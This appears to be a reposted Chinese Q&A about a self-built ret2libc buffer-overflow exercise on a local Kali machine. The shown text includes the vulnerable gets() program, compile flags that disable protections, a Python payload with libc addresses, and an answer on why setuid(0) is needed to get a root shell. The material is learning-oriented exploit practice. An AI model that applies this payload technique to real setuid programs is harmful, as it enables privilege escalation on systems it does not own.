我的缓冲区溢出漏洞利用只会打开常规用户外壳程序,而不会打开根外壳程序

如何解决我的缓冲区溢出漏洞利用只会打开常规用户外壳程序,而不会打开根外壳程序

我一直试图让这个非常简单的缓冲区溢出在我的本地kali机器上工作,并且经过大量的试验和错误之后,我终于理解为它执行我的shellcode并打开/ bin / bash shell-但是,它只是普通用户的shell(即我自己的“ kali”用户),而不是“ root” shell。非常令人失望!

我在SO上阅读了两个类似的(较旧的)问题,并尝试了所有建议(例如,确保可执行文件由root拥有,设置了+ s标志,不在nosuid挂载下, ASLR被禁用等),但没有任何运气。

这是易受攻击的程序的源代码:

kali@kali:~/Documents/buffer-overflow$ cat vulnerable.c
#include <stdio.h>

void vulnerableFunction()
{
    char buffer[32];

    printf("What's your name? ");
    gets(buffer);
    printf("Hello,%s!\n",buffer);
}

int main()
{
    vulnerableFunction();
    return 0;
}

这是我的编译方式:

kali@kali:~/Documents/buffer-overflow$ gcc vulnerable.c -m32 -o vulnerable-x86 -fno-stack-protector -z execstack -no-pie
vulnerable.c: In function ‘vulnerableFunction’:
vulnerable.c:8:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration]
    8 |     gets(buffer);
      |     ^~~~
      |     fgets
/usr/bin/ld: /tmp/ccAaIkz1.o: in function `vulnerableFunction':
vulnerable.c:(.text+0x2c): warning: the `gets' function is dangerous and should not be used.

以下是可执行文件的权限:

kali@kali:~/Documents/buffer-overflow$ sudo chown root:root ./vulnerable-x86
kali@kali:~/Documents/buffer-overflow$ sudo chmod +s ./vulnerable-x86
kali@kali:~/Documents/buffer-overflow$ ll ./vulnerable-x86
-rwsr-sr-x 1 root root 15408 Oct  5 13:51 ./vulnerable-x86

这里的ASLR被禁用(afaik):

kali@kali:~/Documents/buffer-overflow$ cat /proc/sys/kernel/randomize_va_space
0

这是有效负载以及我如何注入有效负载(3个内存地址指向libc中的system(),/ bin / sh和exit()函数):

kali@kali:~/Documents/buffer-overflow$ python -c "import struct; print ('A' * 44) + struct.pack('<I',0xf7e07070) + struct.pack('<I',0xf7df99c0) + struct.pack('<I',0xf7f4e33c)" > payload
kali@kali:~/Documents/buffer-overflow$ cat payload - | ./vulnerable-x86 

这是结果(“ whoami”和“ echo $ 0”都是我手动键入的命令):

What's your name? Hello,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApp������<���!
whoami
kali
echo $0
/bin/sh

这似乎是成功生成的新外壳程序(因为我需要两次键入exit才能返回到正常的外壳程序),但它不是 根。

仅供参考-这些是我的nosuid坐骑:

kali@kali:/home$ sudo cat /proc/mounts | grep nosuid
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
proc /proc proc rw,relatime 0 0
udev /dev devtmpfs rw,relatime,size=4044272k,nr_inodes=1011068,mode=755 0 0
devpts /dev/pts devpts rw,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,size=815504k,mode=755 0 0
securityfs /sys/kernel/security securityfs rw,relatime 0 0
tmpfs /dev/shm tmpfs rw,nodev 0 0
tmpfs /run/lock tmpfs rw,size=5120k 0 0
tmpfs /sys/fs/cgroup tmpfs ro,size=4096k,nr_inodes=1024,mode=755 0 0
cgroup2 /sys/fs/cgroup/unified cgroup2 rw,nsdelegate 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,xattr,name=systemd 0 0
pstore /sys/fs/pstore pstore rw,relatime 0 0
none /sys/fs/bpf bpf rw,mode=700 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,freezer 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,devices 0 0
cgroup /sys/fs/cgroup/rdma cgroup rw,rdma 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,cpuset 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,blkio 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,memory 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,perf_event 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,pids 0 0
mqueue /dev/mqueue mqueue rw,relatime 0 0
tracefs /sys/kernel/tracing tracefs rw,relatime 0 0
debugfs /sys/kernel/debug debugfs rw,relatime 0 0
binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0
tmpfs /run/user/1000 tmpfs rw,size=815500k,nr_inodes=203875,mode=700,uid=1000,gid=1000 0 0
gvfsd-fuse /run/user/1000/gvfs fuse.gvfsd-fuse rw,user_id=1000,group_id=1000 0 0

任何想法都将受到欢迎,因为我觉得几个小时前已经用尽了很多东西:(

谢谢!

解决方法

当程序的可执行文件具有setuid位时,将使用原始用户的UID和文件所有者的EUID运行该程序。这意味着,直到程序执行setuid(0),它才会获得实际的root特权(UID = 0),并且将以普通用户身份运行。特别是,其子进程将不会以root用户身份运行。

因此,您必须修改易受攻击的程序以运行setuid(0),或将等效的系统调用添加到Shell代码有效负载中,以获取根Shell。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


使用本地python环境可以成功执行 import pandas as pd import matplotlib.pyplot as plt # 设置字体 plt.rcParams[&#39;font.sans-serif&#39;] = [&#39;SimHei&#39;] # 能正确显示负号 p
错误1:Request method ‘DELETE‘ not supported 错误还原:controller层有一个接口,访问该接口时报错:Request method ‘DELETE‘ not supported 错误原因:没有接收到前端传入的参数,修改为如下 参考 错误2:cannot r
错误1:启动docker镜像时报错:Error response from daemon: driver failed programming external connectivity on endpoint quirky_allen 解决方法:重启docker -&gt; systemctl r
错误1:private field ‘xxx‘ is never assigned 按Altʾnter快捷键,选择第2项 参考:https://blog.csdn.net/shi_hong_fei_hei/article/details/88814070 错误2:启动时报错,不能找到主启动类 #
报错如下,通过源不能下载,最后警告pip需升级版本 Requirement already satisfied: pip in c:\users\ychen\appdata\local\programs\python\python310\lib\site-packages (22.0.4) Coll
错误1:maven打包报错 错误还原:使用maven打包项目时报错如下 [ERROR] Failed to execute goal org.apache.maven.plugins:maven-resources-plugin:3.2.0:resources (default-resources)
错误1:服务调用时报错 服务消费者模块assess通过openFeign调用服务提供者模块hires 如下为服务提供者模块hires的控制层接口 @RestController @RequestMapping(&quot;/hires&quot;) public class FeignControl
错误1:运行项目后报如下错误 解决方案 报错2:Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.8.1:compile (default-compile) on project sb 解决方案:在pom.
参考 错误原因 过滤器或拦截器在生效时,redisTemplate还没有注入 解决方案:在注入容器时就生效 @Component //项目运行时就注入Spring容器 public class RedisBean { @Resource private RedisTemplate&lt;String
使用vite构建项目报错 C:\Users\ychen\work&gt;npm init @vitejs/app @vitejs/create-app is deprecated, use npm init vite instead C:\Users\ychen\AppData\Local\npm-
参考1 参考2 解决方案 # 点击安装源 协议选择 http:// 路径填写 mirrors.aliyun.com/centos/8.3.2011/BaseOS/x86_64/os URL类型 软件库URL 其他路径 # 版本 7 mirrors.aliyun.com/centos/7/os/x86
报错1 [root@slave1 data_mocker]# kafka-console-consumer.sh --bootstrap-server slave1:9092 --topic topic_db [2023-12-19 18:31:12,770] WARN [Consumer clie
错误1 # 重写数据 hive (edu)&gt; insert overwrite table dwd_trade_cart_add_inc &gt; select data.id, &gt; data.user_id, &gt; data.course_id, &gt; date_format(
错误1 hive (edu)&gt; insert into huanhuan values(1,&#39;haoge&#39;); Query ID = root_20240110071417_fe1517ad-3607-41f4-bdcf-d00b98ac443e Total jobs = 1
报错1:执行到如下就不执行了,没有显示Successfully registered new MBean. [root@slave1 bin]# /usr/local/software/flume-1.9.0/bin/flume-ng agent -n a1 -c /usr/local/softwa
虚拟及没有启动任何服务器查看jps会显示jps,如果没有显示任何东西 [root@slave2 ~]# jps 9647 Jps 解决方案 # 进入/tmp查看 [root@slave1 dfs]# cd /tmp [root@slave1 tmp]# ll 总用量 48 drwxr-xr-x. 2
报错1 hive&gt; show databases; OK Failed with exception java.io.IOException:java.lang.RuntimeException: Error in configuring object Time taken: 0.474 se
报错1 [root@localhost ~]# vim -bash: vim: 未找到命令 安装vim yum -y install vim* # 查看是否安装成功 [root@hadoop01 hadoop]# rpm -qa |grep vim vim-X11-7.4.629-8.el7_9.x
修改hadoop配置 vi /usr/local/software/hadoop-2.9.2/etc/hadoop/yarn-site.xml # 添加如下 &lt;configuration&gt; &lt;property&gt; &lt;name&gt;yarn.nodemanager.res